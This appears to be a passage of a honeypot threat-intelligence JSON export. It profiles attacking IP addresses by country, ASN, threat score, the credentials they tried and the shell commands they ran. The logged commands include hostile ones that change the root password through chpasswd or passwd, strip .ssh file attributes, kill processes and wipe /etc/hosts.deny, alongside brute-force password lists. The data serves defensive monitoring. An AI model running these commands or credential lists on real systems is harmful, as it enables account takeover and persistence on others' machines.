        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:18:48.795000+00:00",
        "last_seen_30d": "2026-03-04T03:46:38.776000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 31
      }
    },
    "4.246.204.51": {
      "attack_count": 120,
      "first_seen": "2026-03-16T15:31:28.789Z",
      "last_seen": "2026-03-28T04:30:46.737Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu22",
        "345gs5662d34",
        "asterix",
        "celery",
        "ctf",
        "guillaume"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab123456789",
        "Celery123!",
        "Guillaume123!",
        "Test123456",
        "Ubuntu22123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Ubuntu22123!\\nU0iBooOcxSuG\\nU0iBooOcxSuG\\n\"|passwd",
        "echo -e \"Ubuntu22123!\\nU0iBooOcxSuG\\nU0iBooOcxSuG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:31:28.789000+00:00",
        "last_seen_30d": "2026-03-28T04:31:56.598000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 37
      }
    },
    "118.193.33.81": {
      "attack_count": 119,
      "first_seen": "2026-03-14T05:32:29.748Z",
      "last_seen": "2026-03-14T05:56:02.019Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "abc",
        "345gs5662d34",
        "bai",
        "casa",
        "email",
        "root",
        "server",
        "shadow",
        "superman",
        "tigergraph",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123+",
        "Casa123!",
        "Tigergraph123!",
        "abc1234",
        "bai123!",
        "email123!",
        "password",
        "shadow123",
        "superman123!",
        "usuario1123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc1234\\nqgLFTzQLQXCc\\nqgLFTzQLQXCc\\n\"|passwd",
        "echo -e \"abc1234\\nqgLFTzQLQXCc\\nqgLFTzQLQXCc\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T05:32:29.748000+00:00",
        "last_seen_30d": "2026-03-14T05:57:05.618000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "41.73.0.47": {
      "attack_count": 119,
      "first_seen": "2026-03-08T23:17:16.839Z",
      "last_seen": "2026-03-08T23:41:50.936Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "sklep",
        "345gs5662d34",
        "admin",
        "asterix",
        "big",
        "csserver",
        "new",
        "root",
        "silvia",
        "test1",
        "vnc"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "12345678",
        "123456Aa",
        "1qaz2WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Csserver123!",
        "asterix123",
        "password",
        "user12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\ncAPcWSSPDoCY\\ncAPcWSSPDoCY\\n\"|passwd",
        "echo -e \"123\\ncAPcWSSPDoCY\\ncAPcWSSPDoCY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Abuja",
      "asn": 37004,
      "as_org": "Suburban-Broadband-AS",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:17:16.839000+00:00",
        "last_seen_30d": "2026-03-08T23:42:53.390000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "186.19.136.61": {
      "attack_count": 118,
      "first_seen": "2026-03-27T02:10:19.197Z",
      "last_seen": "2026-03-27T03:40:57.704Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qaz0okm",
        "3245gs5662d34",
        "345gs5662d34",
        "91h37vr8c8qw",
        "Ds123456",
        "Jl123456789",
        "PA55word",
        "bl4st3r",
        "buffalo",
        "kara",
        "maomao888",
        "qq@123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WCQGE95GdtCN\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T02:10:19.197000+00:00",
        "last_seen_30d": "2026-03-27T03:42:00.265000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 35
      }
    },
    "223.123.38.38": {
      "attack_count": 96,
      "first_seen": "2026-03-10T10:56:43.367Z",
      "last_seen": "2026-03-10T17:54:02.203Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T10:56:43.367000+00:00",
        "last_seen_30d": "2026-03-23T03:13:46.332000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 72,
        "Honeytrap": 21
      }
    },
    "14.103.178.182": {
      "attack_count": 89,
      "first_seen": "2026-03-03T23:12:38.710Z",
      "last_seen": "2026-03-03T23:35:29.051Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Welcome@123",
        "a2t456abc",
        "linux@123",
        "ok",
        "scorpion"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:dNv3ziSE4ddW\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:12:38.710000+00:00",
        "last_seen_30d": "2026-03-03T23:42:18.888000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 21
      }
    },
    "157.10.252.74": {
      "attack_count": 86,
      "first_seen": "2026-03-10T16:44:54.777Z",
      "last_seen": "2026-03-11T02:18:23.370Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "kelltech"
      ],
      "passwords_attempted": [
        "Ubuntu2025",
        "Adm1n2025@",
        "Admin2025#",
        "Kelltech123!@#",
        "Letmein123!",
        "Password",
        "Test2026$",
        "Welcome123#",
        "admin1234#",
        "r00t123",
        "root123#",
        "root123@",
        "root2025",
        "root@2024",
        "test123@Kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:44:54.777000+00:00",
        "last_seen_30d": "2026-03-11T02:19:27.083000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 50
      }
    },
    "209.38.95.14": {
      "attack_count": 83,
      "first_seen": "2026-03-14T11:47:40.274Z",
      "last_seen": "2026-03-14T12:04:08.715Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "docker",
        "pi"
      ],
      "passwords_attempted": [
        "!root",
        "1qaz2wsx",
        "1qaz@WSX",
        "Admin2026!",
        "P@ssw0rd",
        "P@ssw0rd2026",
        "Qwerty2026!",
        "docker123",
        "docker2026",
        "qwerty123456",
        "raspberry",
        "root!@#",
        "root2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T11:47:40.274000+00:00",
        "last_seen_30d": "2026-03-14T12:05:12.783000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 34
      }
    },
    "195.178.110.26": {
      "attack_count": 80,
      "first_seen": "2026-03-15T18:58:56.903Z",
      "last_seen": "2026-03-15T19:25:16.347Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu",
        "validator",
        "node",
        "solana",
        "solv"
      ],
      "passwords_attempted": [
        "solana",
        "123",
        "1234",
        "1234qwer",
        "1q2w3e4r",
        "321",
        "4321",
        "node",
        "qwer1234",
        "sol",
        "sol321",
        "solv",
        "ubuntu",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:55:49.448000+00:00",
        "last_seen_30d": "2026-03-15T19:26:16.896000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 40
      }
    },
    "60.18.49.217": {
      "attack_count": 62,
      "first_seen": "2026-03-24T13:39:57.102Z",
      "last_seen": "2026-03-24T13:45:33.610Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T13:39:57.102000+00:00",
        "last_seen_30d": "2026-03-24T13:46:41.583000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 32
      }
    },
    "103.98.37.99": {
      "attack_count": 50,
      "first_seen": "2026-03-04T16:27:48.202Z",
      "last_seen": "2026-03-04T16:33:12.455Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 138759,
      "as_org": "NETMAX COMPUTERS",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:27:48.202000+00:00",
        "last_seen_30d": "2026-03-04T16:34:18.524000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "112.248.0.74": {
      "attack_count": 50,
      "first_seen": "2026-03-05T03:22:15.383Z",
      "last_seen": "2026-03-05T03:27:39.854Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T03:22:15.383000+00:00",
        "last_seen_30d": "2026-03-05T03:28:44.183000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.205.107": {
      "attack_count": 44,
      "first_seen": "2026-03-27T18:38:37.397Z",
      "last_seen": "2026-03-27T18:43:22.686Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T18:38:37.397000+00:00",
        "last_seen_30d": "2026-03-27T18:44:23.698000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "43.252.159.117": {
      "attack_count": 40,
      "first_seen": "2026-03-30T07:34:53.135Z",
      "last_seen": "2026-03-30T07:39:12.910Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Surabaya",
      "asn": 149746,
      "as_org": "PT Blip Integrator Provider",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T07:34:53.135000+00:00",
        "last_seen_30d": "2026-03-30T07:40:17.440000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "64.227.45.110": {
      "attack_count": 40,
      "first_seen": "2026-03-02T07:33:02.012Z",
      "last_seen": "2026-03-02T07:39:46.447Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pi"
      ],
      "passwords_attempted": [
        "!root",
        "1qaz2wsx",
        "P@ssw0rd2026",
        "qwerty123456",
        "raspberry",
        "root!@#"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:33:02.012000+00:00",
        "last_seen_30d": "2026-03-02T07:40:51.372000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 17
      }
    },
    "171.231.199.190": {
      "attack_count": 32,
      "first_seen": "2026-03-27T16:29:34.967Z",
      "last_seen": "2026-03-27T16:30:55.409Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "config",
        "squid",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "admin@123",
        "config",
        "root",
        "squid",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:29:34.967000+00:00",
        "last_seen_30d": "2026-03-27T16:31:56.537000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 13
      }
    },
    "120.216.64.113": {
      "attack_count": 30,
      "first_seen": "2026-03-11T15:20:41.863Z",
      "last_seen": "2026-03-11T15:23:59.221Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Pingdingshan",
      "asn": 24445,
      "as_org": "Henan Mobile Communications Co.,Ltd",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T15:20:41.863000+00:00",
        "last_seen_30d": "2026-03-11T15:24:59.899000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "146.190.249.154": {
      "attack_count": 30,
      "first_seen": "2026-03-02T12:00:11.517Z",
      "last_seen": "2026-03-02T12:04:37.246Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:00:11.517000+00:00",
        "last_seen_30d": "2026-03-02T12:05:41.542000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "38.188.160.221": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:23:51.989Z",
      "last_seen": "2026-03-11T00:35:09.008Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "100883",
        "160590",
        "270182",
        "30031992",
        "light"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:23:51.989000+00:00",
